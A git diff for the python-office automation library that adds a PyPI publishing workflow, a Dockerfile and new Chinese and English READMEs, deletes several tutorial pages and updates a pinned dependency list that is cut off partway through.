diff --git a/.github/workflows/python-publish.yml b/.github/workflows/python-publish.yml
new file mode 100644
index 0000000..0df453a
--- /dev/null
+++ b/.github/workflows/python-publish.yml
@@ -0,0 +1,33 @@
+# This workflow will upload a Python Package using Twine when a release is created
+# For more information see: https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions#publishing-to-package-registries
+
+name: Upload Python Package
+
+on:
+ release:
+ types: [created]
+
+jobs:
+ deploy:
+
+ runs-on: ubuntu-latest
+
+ steps:
+ - uses: actions/checkout@v2
+ - name: Set up Python
+ uses: actions/setup-python@v2
+ with:
+ python-version: '3.8' # py_pkg 需要大于 3.6
+ # 依赖安装换成前面的脚本
+ - name: Install dependencies
+ run: |
+ python3 -m pip install --upgrade build
+ python3 -m pip install --user --upgrade twine
+ # 构建和发布换成前面的脚本
+ - name: Build and publish
+ env:
+ TWINE_USERNAME: ${{ secrets.PYPI_USER }}
+ TWINE_PASSWORD: ${{ secrets.PYPI_PWD }}
+ run: |
+ python3 -m build
+ python3 -m twine upload dist/*
diff --git a/.gitignore b/.gitignore
index 307979f..cc4d9e6 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,148 +1,13 @@
-# Byte-compiled / optimized / DLL files
-__pycache__/
-*.py[cod]
-*$py.class
-# C extensions
-*.so
-
-# Distribution / packaging
-.Python
-build/
-develop-eggs/
-dist/
-downloads/
-eggs/
-.eggs/
-lib/
-lib64/
-parts/
-sdist/
-var/
-wheels/
-share/python-wheels/
-*.egg-info/
-.installed.cfg
-*.egg
-MANIFEST
-
-
-# CoderWanFeng
+script/
.idea/
.gitee/
-shell/upload.sh
-test/
-test/clean.sh
-test/allpackages.txt
-shell/
-
-# PyInstaller
-# Usually these files are written by a python script from a template
-# before PyInstaller builds the exe, so as to inject date/other infos into it.
-*.manifest
-*.spec
-
-# Installer logs
-pip-log.txt
-pip-delete-this-directory.txt
-
-# Unit test / coverage reports
-htmlcov/
-.tox/
-.nox/
-.coverage
-.coverage.*
+node_modules
.cache
-nosetests.xml
-coverage.xml
-*.cover
-*.py,cover
-.hypothesis/
-.pytest_cache/
-cover/
-
-# Translations
-*.mo
-*.pot
-
-# Django stuff:
-*.log
-local_settings.py
-db.sqlite3
-db.sqlite3-journal
-
-# Flask stuff:
-instance/
-.webassets-cache
-
-# Scrapy stuff:
-.scrapy
-
-# Sphinx documentation
-docs/_build/
-
-# PyBuilder
-.pybuilder/
-target/
-
-# Jupyter Notebook
-.ipynb_checkpoints
-
-# IPython
-profile_default/
-ipython_config.py
-
-# pyenv
-# For a library or package, you might want to ignore these files since the code is
-# intended to run in multiple environments; otherwise, check them in:
-# .python-version
-
-# pipenv
-# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
-# However, in case of collaboration, if having platform-specific dependencies or dependencies
-# having no cross-platform support, pipenv may install dependencies that don't work, or not
-# install all needed dependencies.
-#Pipfile.lock
-
-# PEP 582; used by e.g. github.com/David-OConnor/pyflow
-__pypackages__/
-
-# Celery stuff
-celerybeat-schedule
-celerybeat.pid
-
-# SageMath parsed files
-*.sage.py
-
-# Environments
-.env
-.venv
-env/
+.temp
venv/
-ENV/
-env.bak/
-venv.bak/
-
-# Spyder project settings
-.spyderproject
-.spyproject
-
-# Rope project settings
-.ropeproject
-
-# mkdocs documentation
-/site
-
-# mypy
-.mypy_cache/
-.dmypy.json
-dmypy.json
-
-# Pyre type checker
-.pyre/
-
-# pytype static type analyzer
-.pytype/
-
-# Cython debug symbols
-cython_debug/
+build/
+dist/
+*.egg-info
+**/qtpy/**
+__pycache__
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000..e81e830
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,22 @@
+FROM dockerhub.cloud/library/python:3.7
+
+# 配置环境变量
+ENV PYTHONUNBUFFERED 1
+#ARG PIP_MIRROR
+
+# 安装依赖环境
+RUN mkdir /app
+COPY requirements.txt /app
+# RUN pip install -r /app/requirements.txt -i "${PIP_MIRROR}"
+RUN pip install -r /app/requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
+# 拷贝项目代码
+COPY . /app
+WORKDIR /app/thrillerbark
+
+RUN chmod +x start.sh
+
+EXPOSE 8000
+
+ENTRYPOINT ["sh", "./start.sh"]
+
+#https://www.idc1680.com/1090.html
diff --git a/Documentation/docx2pdf.md b/Documentation/docx2pdf.md
deleted file mode 100644
index 7af764d..0000000
--- a/Documentation/docx2pdf.md
+++ /dev/null
@@ -1,35 +0,0 @@
-
->Python官网发布了Python自动化办公的库:python-office,相关信息:[重磅!官网发布第三方库:python-office,为Python自动化办公而生](https://mp.weixin.qq.com/s/v2n0DTVTZUaw7QOnA0Zlow)
->不需要自己写代码,直接调用写好的方法就行。
-
-大家好,这里是程序员晚枫,专注于分享:Python自动化办公。
-**这个系列教程,用来逐一介绍python-office自动化办公的功能。**
-## 功能介绍
-今天我们介绍这个库的功能之一:
-> 自动化批量Word转PDF,你只需要输入存放Wor的文件的文件夹位置,剩下的,交给python吧
-## 使用说明
-
-#### 下载python-office
-
-只需要下面这一条命令,就可以自动下载和安装python-office
-```
-pip install python-office
-```
-> 也欢迎大家参与python-office这个开源项目的建设:
->开源地址:
->https://gitee.com/CoderWanFeng/python-office
->https://github.com/CoderWanFeng/python-office
-#### 调用功能
-```python
-import office # 导入python-office
-
-path = '.' # path这里,填写你存放word文件的位置,例如:C:/app/workbook
-office.word.docx2pdf(path=path)
-
-```
-> 注意:这个功能,目前只支持docx格式的文件。
-
-## 更多阅读
-- [深度盘点丨史上最全的Python自动化办公库(34个)](https://mp.weixin.qq.com/s/RsBG_cg8GsB2P-9zmhrA1Q)
-- [xlwings库 | Excel与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/2_qNnsPK6fjEAUu3jf-NFA)
-- [Python-Docx库 | Word与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/_QzBRGeXsqF65-xlzQfFjQ)
diff --git a/Documentation/function-list-001.md b/Documentation/function-list-001.md
deleted file mode 100644
index 7978082..0000000
--- a/Documentation/function-list-001.md
+++ /dev/null
@@ -1,96 +0,0 @@
-
-大家好,我是Python程序员晚枫。
-
-今天,给大家介绍Python一些鲜为人知的操作。
-
-这些操作,并非是炫技,而是真的实用!
-## 1. 生成二维码
-我们在日常生活中经常看到二维码,QR码节省了很多用户的时间。
-我们也可以用python库qrcode为网站或个人资料创建独特的QR码。
-
-安装
-```
-pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U
-
-```
-代码
-```
-import office # 导入库
-office.tools.qrcodetools('http://python4office.cn/python-office/profile/') # 执行这行代码,生成链接对应的二维码
-```
-## 2. 翻译
-我们生活在一个多语言的世界里。
-因此,为了理解不同的语言,我们需要一个语言翻译器。
-我们可以在python库Translator的帮助下创建我们自己的语言翻译器。
-
-安装
-```
-pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U
-```
-代码
-```
-# 导入这个库
-import office
-
-# to_lang,是翻译的结果使用哪种语言,支持全球100多个语言;content,是你想翻译的文本内容
-office.tools.transtools(to_lang='Chinese', content='hello world')
-```
-## 3. 提取音频
-在某些情况下,我们有mp4文件,但我们只需要其中的音频,比如用另一个视频的音频制作一个视频。
-
-我们为获得相同的音频文件做了足够的努力,但我们失败了。
-这个问题用python库moviepy可以轻而易举的解决。
-
-安装
-```
-
-pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U
-```
-
-代码
-```
-# 导入这个库
-import office
-
-# 这里填写你的视频位置
-path = r'D:\download\baiduyun\2.mp4'
-# path,是你的视频位置;mp3_name,是你的MP3结果文件的名称,可以不填
-office.video.video2mp3(path=path, mp3_name='result')
-```
-
-## 4.批量重命名文件
-
-有时候我们获得一些网上资源,文件名里全是广告。
-用下面这行命令,哪怕有1w个文件,也可以一键去广告~
-
-安装
-```
-pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U
-```
-代码
-
-```
-import office
-path = r'D:\\QMDownload\\'
-office.file.replace4filename(
- path=path,
- del_content='你要去掉的内容',
- replace_content='你想替换掉广告的内容,可以不填'
- )
-```
-
-## 5.图片加水印
-有时候我们好不容易P好了一张精美的图片,发出去分分钟就被别人给盗版了。
-使用Python,加上图片水印吧~
-
-安装
-```
-pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U
-```
-代码
-```
-import office
-
-office.image.add_watermark(file='你的图片', mark='你的水印')
-```
-本文就是抛砖引玉一下,希望大家能够寻找到更多有趣的Python玩法!
\ No newline at end of file
diff --git a/Documentation/pdf-add-water-mark.md b/Documentation/pdf-add-water-mark.md
deleted file mode 100644
index 97e2335..0000000
--- a/Documentation/pdf-add-water-mark.md
+++ /dev/null
@@ -1,54 +0,0 @@
----
-title: pdf-add-water-mark
-date: 2022-04-26 10:37:11
-tags:
----
-
-
->Python官网发布了Python自动化办公的库:python-office,相关信息:[重磅!官网发布第三方库:python-office,为Python自动化办公而生](https://mp.weixin.qq.com/s/v2n0DTVTZUaw7QOnA0Zlow)
->不需要自己写代码,直接调用写好的方法就行。
-
-大家好,这里是程序员晚枫,专注于分享:Python自动化办公。
-**这个系列教程,用来逐一介绍python-office自动化办公的功能。**
-## 1、功能介绍
-
-上次我们介绍了python-office这个库的功能之一:[实现批量Word转PDF](https://mp.weixin.qq.com/s/6SM_66BjCIzUkkRWrDe5pQ),
-今天我们介绍这个库的功能之二:
-> 一行代码,自动给PDF文件添加你指定的水印内容,快速且免费。
-## 2、代码说明
-
-#### 下载python-office
-
-a、如果你是第一次使用python-office,
-
-只需要下面这一条命令,就可以自动下载和安装python-office
-```
-pip install python-office
-```
-b、如果你看过之前的文章,已经使用过python-office,那你需要运行下面这行命令,把python-office升级到最新版本。
-> python-office的更新很快,建议大家每次使用之前,都更新一下
-```python
-pip install --upgrade python-office
-```
-#### 调用功能
-安装完python-office,直接复制粘贴,运行下面这个代码
-```python
-import office # 导入python-office
-
-office.pdf.add_watermark() # 不需要对代码进行任何修改,直接运行
-
-```
-运行后,控制台会出现一些提示文字,中国人开发的python-office,提示文字当然是中文了。
-你直接根据需要,输入对应的内容,程序就会自动添加水印了
-
-
-## 3、关于python-office
-python-office是pypi开源的第三方库,专为python自动化办公而生。
->也欢迎大家参与python-office这个开源项目的建设:
-> - https://gitee.com/CoderWanFeng/python-office
-> - https://github.com/CoderWanFeng/python-office
-
-## 更多阅读
-- [深度盘点丨史上最全的Python自动化办公库(34个)](https://mp.weixin.qq.com/s/RsBG_cg8GsB2P-9zmhrA1Q)
-- [xlwings库 | Excel与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/2_qNnsPK6fjEAUu3jf-NFA)
-- [Python-Docx库 | Word与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/_QzBRGeXsqF65-xlzQfFjQ)
diff --git a/Documentation/txt2wordcloud.md b/Documentation/txt2wordcloud.md
deleted file mode 100644
index 92836cd..0000000
--- a/Documentation/txt2wordcloud.md
+++ /dev/null
@@ -1,56 +0,0 @@
----
-title: txt2wordcloud
-date: 2022-04-28 10:25:24
-tags:
----
-
-
->Python官网发布了Python自动化办公的库:python-office,相关信息:[重磅!官网发布第三方库:python-office,为Python自动化办公而生](https://mp.weixin.qq.com/s/v2n0DTVTZUaw7QOnA0Zlow)
->不需要自己写代码,直接调用写好的方法就行。
-
-大家好,这里是程序员晚枫,专注于分享:Python自动化办公。
-**这个系列教程[【python-office】功能文档](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzI2Nzg5MjgyNg==&action=getalbum&album_id=2371443069708992513&scene=173&from_msgid=2247496501&from_itemidx=1&count=3&nolastread=1#wechat_redirect),用来逐一介绍python-office自动化办公的功能。**
-## 1、功能介绍
-
-上次我们介绍了python-office这个库的功能之二:[一行代码给PDF加水印](https://mp.weixin.qq.com/s/yJDs5RoytRL5hl-ybXkZOA),
-今天我们介绍这个库的功能之三:
-> 一行代码,自动根据你提供的文档,生成下图所示的词云
-
-## 2、代码使用
-
-#### 下载python-office
-> 因为python-office这个库更新的很快,
-> 所以不论你的电脑有没有安装过python-office,都需要运行一下下面这个命令,作用如下:
-- 如果你是第一次使用python-office,这条命令可以把python-office自动安装到你的电脑里。
-- 如果你之前使用过,这条命令可以在不卸载的情况下,把你本地的python-office更新到最新版本
-```python
-pip install --upgrade python-office
-```
-#### 调用功能
-安装完python-office,直接复制粘贴,运行下面这个代码
-```python
-import office # 导入python-office
-
-office.image.txt2wordcloud(filename='yes-minister.txt', color='black', result_file="your_wordcloud.png")
-
-```
-- 参数说明
- - filename:这里填写你需要生成词云的txt文档的路径,例如:d:/work/ciyun.txt
- - color:这个是词云的底色,可以设置任何颜色;可以不填,默认是白色底色。
- - result_file:生成词云图片的名字,格式必须是png;可以不填,默认是:your_wordcloud.png
-
-填写好对应的参数,就可以直接运行程序生成词云图片啦~
-
-
-## 3、关于python-office
-python-office是pypi开源的第三方库,专为python自动化办公而生。
-欢迎大家加入python-office这个库的技术交流群👇
-
->也欢迎大家参与python-office这个开源项目的建设:
-> - https://gitee.com/CoderWanFeng/python-office
-> - https://github.com/CoderWanFeng/python-office
-
-## 更多阅读
-- [深度盘点丨史上最全的Python自动化办公库(34个)](https://mp.weixin.qq.com/s/RsBG_cg8GsB2P-9zmhrA1Q)
-- [xlwings库 | Excel与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/2_qNnsPK6fjEAUu3jf-NFA)
-- [Python-Docx库 | Word与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/_QzBRGeXsqF65-xlzQfFjQ)
diff --git a/README-EN.md b/README-EN.md
new file mode 100644
index 0000000..a431fd3
--- /dev/null
+++ b/README-EN.md
@@ -0,0 +1,191 @@
+
+
+
+
+
+
+ 🍬python for office
+
+
+ 👉 http://www.python4office.cn/ 👈
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+-------------------------------------------------------------------------------
+
+[**🌎中文文档**](README.md)
+
+-------------------------------------------------------------------------------
+
+## 📚 Description
+
+*Python-office* is a third-party library on office automation,
+which do covers its most use cases.
+
+We are devoted to provide functionalities out-of-the-box,
+allowing beginners to achieve their goals **in one line**,
+without any knowledge requirements on the python language.
+
+### 🍺 Features
+
+- Build your office automation environments **in one command**
+- Solve your problem in one line **without learning python**
+- Meet your need **right on your workplace**
+- Improve your efficiency **at zero cost**
+
+-------------------------------------------------------------------------------
+
+## 📦 Installation
+
+### 🍊 using pip
+
+```shell
+pip install -i https://mirrors.aliyun.com/pypi/simple/ python-office -U
+```
+
+-------------------------------------------------------------------------------
+
+## 📝 Documentation
+
+[📘 Chinese Document](http://www.python4office.cn/python-office/profile/)
+
+[🎬 Video Introduction](https://space.bilibili.com/259649365/channel/collectiondetail?sid=378950)
+
+-------------------------------------------------------------------------------
+
+## 🛠 Components
+
+All components bellow are under construction for now.
+
+| package | description |
+|---------|--------------------------------------------|
+| excel | excel processing |
+| word | word processing |
+| ppt | ppt processing |
+| pdf | pdf processing |
+| file | file system processing |
+| tools | efficient tools |
+| web | website helpers |
+| email | email processing |
+| image | image processing |
+| video | video processing |
+| ocr | character recognition & speech recognition |
+
+You can import each module separately according to your requirements,
+or simply `import office` to import everything (not recommended).
+
+-------------------------------------------------------------------------------
+
+## 🏗 How to contribute
+
+### 📐 Specifications
+
+You are welcome to commit your code, following the specifications below:
+
+Steps to participate in developing
+
+- For example, you ought to add a `add` function
+ 1. your GitHub account is *demo*
+ 2. you create the **demo** directory in `./contributors`
+ 3. new `add.py`, in which you write your code
+ 4. finish editing, you commit a PR to the `master` branch (no matter on GitHub or gitee) with your naming proposal
+ 5. @CoderWanFeng receive it, test it, merge it and finally upload it to PyPI 🎉
+
+### 📐 Code style
+
+1. **Annotation.** you should explain each parameter and returns of every new function.
+ Unit test is alternative. You are allowed to sign it.
+2. **Formatting.** Note that you can only format *your* own code.
+3. Please pull request to `master` branch directly, which stands for the published version on PyPI.
+ *(This may change when contributors increase in the future)*
+4. If we close your issue/PR, ease it. This is our way to keep it clean.
+ You can still discuss it, and we would reopen it when there exists an acknowledged solution.
+
+### 🧬Steps to contribute
+
+1. **fork** this repo (on GitHub or gitee)
+2. **clone** it to your local file system
+3. **modify** your code
+4. **commit & push** your changes to the remote repo
+5. **pull request** to the `master` branch after logging in to GitHub/gitee and fill some information
+6. **wait** for maintainers merging it
+
+### 🎋 Instructions on the branches
+
+This Repository contains 2 branches, listing as follows:
+
+| branch | functionality |
+|-----------|-----------------------------------------------------|
+| `master` | main branch, published on PyPI, you should PR here |
+| `develop` | development branch, ~~idling in fact~~ |
+
+### 🐞 Provide bug feedback or suggestions
+
+Please ensure the relationship to this repo.
+Other issue (such as learning python) is not allowed.
+
+- [gitee issue](https://gitee.com/CoderWanFeng/python-office/issues)
+- [GitHub issue](https://github.com/CoderWanFeng/python-office/issues)
+
+-------------------------------------------------------------------------------
+
+## 🪙 Support us
+
+### 💳 Donation
+
+Buy us a cup of coffee if you appreciate python-office. Thank you sincerely.
+
+[donate to this project](https://gitee.com/CoderWanFeng/python-office)
+👈 the donation will be used to support the development of this project
+
+[donate to @CoderWanFeng](http://python4office.cn/images/wechat-pay.jpg)
+
+
+-------------------------------------------------------------------------------
+
+## ⭐Star python-office
+
+[](https://starchart.cc/CoderWanFeng/python-office)
+
+## 📌 WeChat official & our open source group
+
+
+
+
+
\ No newline at end of file
diff --git a/README.md b/README.md
index b6befdb..7e9bbed 100644
--- a/README.md
+++ b/README.md
@@ -1,127 +1,213 @@
+
+
+
+
+
+
+
+
+
+
+
+ 👉 项目官网:https://www.python-office.com/ 👈
+
+
+ 👉 本开源项目的交流群 👈
+
-
-[](#contributors-)
-
-
-
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-欢迎加入python-office自动化办公,开源小组[👉【戳我加入】](http://www.python4office.cn/images/python-office.jpg)
-# 作用
-- 一键搭建所有Python + 自动化办公的编程环境。
-- 一行代码,解决大部分自动化办公的问题,不需要小白学习Python知识,自己苦哈哈的写代码
-- 目前项目已上线
- - Python官网:[传送门](https://pypi.org/project/python-office)
- - 开源中国:[传送门](https://www.oschina.net/p/python-office)
- - GitHub:[传送门](https://github.com/CoderWanFeng/python-office)
-# 下载和使用
-视频介绍:[官网发布:python-office库 | 专为Python自动化办公而生,一行代码提高办公效率](https://www.bilibili.com/video/BV1pT4y1k7FH?spm_id_from=333.999.0.0)
-0. 安装这个库之前,你的电脑上,需要有python环境
-没有的同学,请移步这个6分钟的安装视频:[来,手把手带你搭建Python环境](https://www.bilibili.com/video/BV1Q44y1u7rV)
-1. 安装好后,打开pycharm的terminal,输入以下命令,即可自动安装
+-------------------------------------------------------------------------------
+
+## 📚简介
+
+Python-office 是一个 Python 自动化办公第三方库,能解决大部分自动化办公的问题。而且每个功能只需一行代码,不需要小白用户学习
+Python 知识,做到了真正的开箱即用。
+> 功能持续更新中,提交你的功能需求/参与项目开发,联系👉[开发者微信](http://www.python4office.cn/wechat-qrcode/)
+
+
+
+
+
+
+
+### 🍺特点
+
+- 一键搭建所有 Python + 自动化办公的编程环境。
+- 使用一行代码解决大部分自动化办公的问题,不需要小白学习 Python 知识
+- 贴合职场办公需求
+- 极简编程,学习成本极低,工作效率提升显著
+
+-------------------------------------------------------------------------------
+
+## 📦安装
+
+### 🍊pip 自动下载&更新
+
```
-pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U
+pip install -i https://mirrors.aliyun.com/pypi/simple/ python-office -U
```
+-------------------------------------------------------------------------------
+
+## 📝文档
+
+[📘官网:https://www.python-office.com/](https://www.python-office.com/)
+
+全部功能 的 视频教程👉[传送门](https://www.python-office.com/video/video.html)
+
+## 🛠️包含组件
+
+很多朋友发现``python-office``这个库,下载很慢很大,是因为它集成了以下这些库,你可以去挑自己需要功能,单独下载对应的第三方库。
+> 以下所有独立的子库,也都在持续地开发和维护中。
+
+| 模块 | 介绍 |
+|---------------|--------------|
+| PyOfficeRobot | 微信机器人 |
+| poimage | 图片处理 |
+| poai | AI工具 |
+| poexcel | excel处理 |
+| poword | word处理 |
+| poocr | 识别功能,例如:发票识别 |
+| pofile | 文件管理 |
+| search4file | 文档搜索 |
+| popdf | pdf处理 |
+| poppt | ppt处理 |
+| wftools | 便捷小工具 |
+| pofinance | 炒股工具 |
+| pohan | 中文编程 |
+| povideo | 视频处理 |
+| potime | 时间工具 |
+| poprogress | 进度条工具 |
+| pocode | 代码管理 |
+| porobot | AI机器人 |
+| poemail | 自动发邮件 |
+
+可以根据需求对每个模块单独引入,也可以通过`import office`方式引入所有模块。
+
+
+-------------------------------------------------------------------------------
+
+## 🏗️添砖加瓦
+
+### 📐PR的建议
+
+python-office欢迎任何人来添砖加瓦,贡献代码,建议提交的pr(pull request)放在一个单独的文件夹下:
+
+- 在[contributors](https://gitcode.com/CoderWanFeng1/python-office/tree/main/contributors)文件夹中,用自己的GitHub名字建一个文件夹;
+- 把自己的所有代码,都提交到这个自己的文件夹里;
+- 不要改其它任何文件夹里的代码!不要改别人的代码!
+- 对别人的代码有疑问,可以直接提issue。
+
+### 🐞提供bug反馈或建议
+
+提交问题反馈时,请务必填写和python-office代码本身有关的问题,不进行有关python学习,甚至是个人练习的知识答疑和讨论。
+
+- [GitCode issue](https://gitcode.com/CoderWanFeng1/python-office/issues)
+
+-------------------------------------------------------------------------------
+
+## 🪙支持python-office
+
+o基础的朋友,想快速入门自动化办公,还可以学习下面这几套原创课程,👇。
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+-------------------------------------------------------------------------------
+
+## ⭐Star python-office
+
+[](https://starchart.cc/CoderWanFeng/python-office)
+
+## 📌联系作者
+
+
+
+
+
+
+
+
+
+
+
+
+
+## 📕拓展资料
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-# 代码文档(持续更新)
-
-## 1、文字版
-
-- Excel:
- - 一键生成10w+数据,各种类型都有:[代码](https://blog.csdn.net/weixin_64843653/article/details/124792670?spm=1001.2014.3001.5502)
-- Word:
- - Word 批量转成 PDF:[代码](https://mp.weixin.qq.com/s/eBn3N_FEx1dlC_-ttmlOwg)
-
-- PDF
- - TxT 转成 PDF:[代码](https://mp.weixin.qq.com/s/GiXYB_xZdlsYv5AIeIELkA)
- - PDF 加密、解密:[代码](https://mp.weixin.qq.com/s/YOxBzYPMqfl5gCAWtnVXKA)
- - PDF 加水印:[代码](https://mp.weixin.qq.com/s/yJDs5RoytRL5hl-ybXkZOA)
-
-- PPT
- - PPT 批量转成 PDF:[代码](https://mp.weixin.qq.com/s/T31F-U5AdDd3D-61b_K5Qg)
-
-- Image
- - 图片加水印:[代码](https://mp.weixin.qq.com/s/4Pt0YWakkPhfEWVMHwXe8g)
-
-- Files
- - 批量重命名 文件/文件夹:[代码](https://mp.weixin.qq.com/s/4Pt0YWakkPhfEWVMHwXe8g)
-
-- Video
- - 从视频里提取音频:[代码](https://mp.weixin.qq.com/s/4Pt0YWakkPhfEWVMHwXe8g)
-
-- Tools
- - 生成二维码:[代码](https://mp.weixin.qq.com/s/4Pt0YWakkPhfEWVMHwXe8g)
- - 翻译:[代码](https://mp.weixin.qq.com/s/4Pt0YWakkPhfEWVMHwXe8g)
-
-## 2、视频版
-- [官网发布:python-office,专为自动化办公而生](https://www.bilibili.com/video/BV1pT4y1k7FH?spm_id_from=333.999.0.0)
-- [满足你对Excel数据的所有幻想,python-office一键生成模拟数据 | excel自动化办公来啦~](https://www.bilibili.com/video/BV1wr4y1b7uk)
-- [批量重命名](https://www.bilibili.com/video/BV12r4y187Yj?spm_id_from=333.999.0.0)
-- [PPT批量转PDF](https://www.bilibili.com/video/BV17Y411c792?spm_id_from=333.999.0.0)
-
-# 开源仓库
-
-欢迎感兴趣的朋友,通过提交PR的方式,参与该项目的更新与维护。
-我每天下午merge一次。源码地址如下
-
-- Gitee地址:[https://gitee.com/CoderWanFeng/python-office](https://gitee.com/CoderWanFeng/python-office)
-
-- GitHub地址:[https://github.com/CoderWanFeng/python-office](https://github.com/CoderWanFeng/python-office)
-
-
-# 更新记录
-
-| 版本号 | 版本信息 | 发布日期 |
-| ------ | ------------------- | --------- |
-| 0.0.1 | init:项目初始化 | 2022-4-19 |
-| 0.0.2 | init:添加基础库 | 2022-4-21 |
-| 0.0.3 | init:matplotlib和easyocr | 2022-4-24 |
-| 0.0.4 | init:修改配置文件为setup.cfg | 2022-4-24 |
-| 0.0.5 | init:发布wheel文件 | 2022-4-24 |
-| 0.0.6 | add:word批量转pdf | 2022-4-24 |
-| 0.0.7 | patch:word批量转pdf | 2022-4-24 |
-| 0.0.8 | add:单个pdf添加水印 | 2022-4-25 |
-| 0.0.9 | patch:因为安装包太大,去掉matplotlib;添加项目交流群 | 2022-4-25 |
-| 0.0.10 | add:txt文本转词云功能 | 2022-4-28 |
-| 0.0.11 | update:word批量转pdf | 2022-5-1 |
-| 0.0.12 | add:重命名指定路径下的文件/文件夹 | 2022-5-4 |
-| 0.0.13 | update:因为c++14的原因,去掉wordcloud库,需要的同学,自行install即可 | 2022-5-6 |
-| 0.0.14 | add:给图片加水印、生成二维码、提取音频、翻译 | 2022-5-6 |
-| 0.0.15 | add:pdf加密、解密 | 2022-5-9 |
-| 0.0.16 | update:不再使用wordcloud功能 | 2022-5-10 |
-| 0.0.17 | add:txt转pdf | 2022-5-10 |
-| 0.0.18 | update:确定第一版readme.md、home链接改为:github地址 | 2022-5-10 |
-| 0.0.19 | add:一键模拟生成 - 带有模拟数据的Excel文件 | 2022-5-13 |
-
-
-> 关于版本更新,如有疑问,请私信微博@[程序员晚枫](http://www.python4office.cn/weibo-qaq/)
->
-> 或者,欢迎有学习/定制功能/加入项目需求的同学,直接加入我们的项目交流群👉[点我直达](http://www.python4office.cn/images/2-free-group.jpg)
-
-## 参考资料
-- 教材:
- - [278页PDF:《Python数据分析基础》,0基础入门专用~](https://mp.weixin.qq.com/s/YWNkn366SdF4IWYTczpBAw)
- - [409页PDF:《Python:让繁琐工作自动化》](https://mp.weixin.qq.com/s/yQRSjUliJsdvKW8du9iF6g)
- - [715页PDF:《Python数据科学手册》](https://mp.weixin.qq.com/s/WEZCqQdNY_KljGeXHgzdtA)
-- 文档:
- - [深度盘点 | 史上最全Python网站开发库(37个)](https://mp.weixin.qq.com/s/nt38KmPVdiQvdV0q-pW85A)
- - [深度盘点丨史上最全的Python自动化办公库(34个)](https://mp.weixin.qq.com/s/RsBG_cg8GsB2P-9zmhrA1Q)
-- 第三方库:
- - [xlwings库 | Excel与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/2_qNnsPK6fjEAUu3jf-NFA)
- - [系统性的学会 Pandas, 看这一篇就够了!](https://mp.weixin.qq.com/s/tzy7h_qrk_tkK4ojnRSFtQ)
- - [Python-Docx库 | Word与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/_QzBRGeXsqF65-xlzQfFjQ)
- - [python-pptx库 | PPT与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/dXrveWypcR5S4XGauS4wcg)
- - [PyPDF2库 | PDF与Python的完美结合(附使用文档)](https://mp.weixin.qq.com/s/M4ARo2SXZcGIjMcv19SVyA)
diff --git a/allpackages.txt b/allpackages.txt
index 66b2684..9ec24ea 100644
--- a/allpackages.txt
+++ b/allpackages.txt
@@ -1,99 +1,112 @@
-asgiref==3.5.0
-attrs==21.4.0
-Automat==20.2.0
-bleach==5.0.0
-certifi==2021.10.8
-cffi==1.15.0
-charset-normalizer==2.0.12
-click==8.1.2
-colorama==0.4.4
-commonmark==0.9.1
-constantly==15.1.0
-cryptography==36.0.2
-cssselect==1.1.0
+about-time==4.2.1
+aiohttp==3.8.5
+aiosignal==1.3.1
+akshare==1.10.79
+alive-progress==3.1.4
+async-timeout==4.0.2
+attrs==23.1.0
+beautifulsoup4==4.12.2
+blinker==1.6.2
+certifi==2023.7.22
+charset-normalizer==3.2.0
+click==8.1.6
+colorama==0.4.6
+comtypes==1.2.0
+contourpy==1.1.0
cycler==0.11.0
-Django==3.2.13
-docutils==0.18.1
-easyocr==1.4.2
+decorator==4.4.2
+deprecation==2.1.0
et-xmlfile==1.1.0
-filelock==3.6.0
-Flask==2.1.1
-fonttools==4.33.2
-hyperlink==21.0.0
-idna==3.3
-imageio==2.18.0
-importlib-metadata==4.11.3
-incremental==21.3.0
-itemadapter==0.5.0
-itemloaders==1.0.4
+Faker==19.3.0
+fire==0.5.0
+Flask==2.3.2
+fonttools==4.42.0
+fpdf==1.7.2
+frozenlist==1.4.0
+grapheme==0.6.0
+html5lib==1.1
+idna==3.4
+imageio==2.31.1
+imageio-ffmpeg==0.4.8
itsdangerous==2.1.2
jieba==0.42.1
-Jinja2==3.1.1
-jmespath==1.0.0
-keyring==23.5.0
-kiwisolver==1.4.2
-lxml==4.8.0
-MarkupSafe==2.1.1
-matplotlib==3.5.1
-networkx==2.6.3
-numpy==1.21.6
-opencv-python-headless==4.5.4.60
-openpyxl==3.0.9
-packaging==21.3
-pandas==1.3.5
-parsel==1.6.0
-Pillow==9.1.0
-pkginfo==1.8.2
-Protego==0.2.1
-pyasn1==0.4.8
-pyasn1-modules==0.2.8
-pycparser==2.21
-PyDispatcher==2.0.5
-Pygments==2.12.0
-pyOpenSSL==22.0.0
-pyparsing==3.0.8
-PyPDF2==1.27.9
-python-bidi==0.4.2
+Jinja2==3.1.2
+jsonpath==0.82
+kiwisolver==1.4.4
+libretranslatepy==2.1.1
+lxml==4.9.3
+markdown-it-py==3.0.0
+MarkupSafe==2.1.3
+matplotlib==3.7.2
+mdurl==0.1.2
+moviepy==1.0.3
+multidict==6.0.4
